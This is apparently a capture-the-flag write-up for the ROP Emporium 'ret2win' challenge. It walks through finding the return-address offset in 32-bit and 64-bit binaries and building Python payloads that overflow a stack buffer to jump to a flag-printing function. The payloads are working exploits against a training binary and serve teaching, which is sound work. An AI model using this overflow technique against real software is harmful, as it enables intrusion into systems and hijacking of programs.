So we have a fgets which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.
$ ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
>
ret2win.disassembly
pwndbg> disassemble ret2win
Dump of assembler code for function ret2win:
0x08048659 <+0>: push ebp
0x0804865a <+1>: mov ebp,esp
0x0804865c <+3>: sub esp,0x8
0x0804865f <+6>: sub esp,0xc
0x08048662 <+9>: push 0x8048824
0x08048667 <+14>: call 0x8048400 <printf@plt>
0x0804866c <+19>: add esp,0x10
0x0804866f <+22>: sub esp,0xc
0x08048672 <+25>: push 0x8048841
## Prints flag to the screen
0x08048677 <+30>: call 0x8048430 <system@plt>
0x0804867c <+35>: add esp,0x10
0x0804867f <+38>: nop
0x08048680 <+39>: leave
0x08048681 <+40>: ret
End of assembler dump.
pwndbg>
So now our task is to use the overflowed buffer to call the ret2win function and get the flag.
Now we'll try and find the offset which will give us the precise control of the EIP register.
$ msf-pattern_create -l 100 > pattern.string; cat pattern.string | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation fault
So now we have a segmentation fault, and we can check the failed EIP using dmesg logs and find the offset value.
$ sudo dmesg | tail -2
[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000]
[ 3369.503766] Code: Bad RIP value.
# Our bad EIP value is 35624134
$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
# Let's confirm our control of IP
$ python -c 'print "A"*44 + "B"*4' | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Segmentation fault
$ sudo dmesg | tail -2
[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000]
[ 3573.424144] Code: Bad RIP value.
Now we have the desired control of EIP. Now we'll check the address of the function to jump to, to get our precious flag.
Now we can construct our exploit and point our EIP to this address to get the flag.
$ python -c 'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))' > exploit.payload; cat exploit.payload | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
64 bit
The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our RIP.
$ msf-pattern_create -l 100 > pattern.string
We can not use the same trick of checking the dmesg for messed up EIP as in case of 64 binaries the result is at RSP and its value is not visible in dmesg.
So value of our RSP is 0x3562413462413362 and the offset value is
$ msf-pattern_offset -q 0x3562413462413362
[*] Exact match at offset 40
As you can see, there are plenty of NULL bytes which should break our exploit, but they won't as we are using fgets, which only terminates input when it gets a newline or an EOF. So NULL bytes are no problems in this case. Lets construct our final payload and get the flag.
$ python -c 'from pwn import *; print "A"*40 + p64(0x400811)' > exploit.payload
$ cat exploit.payload | ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault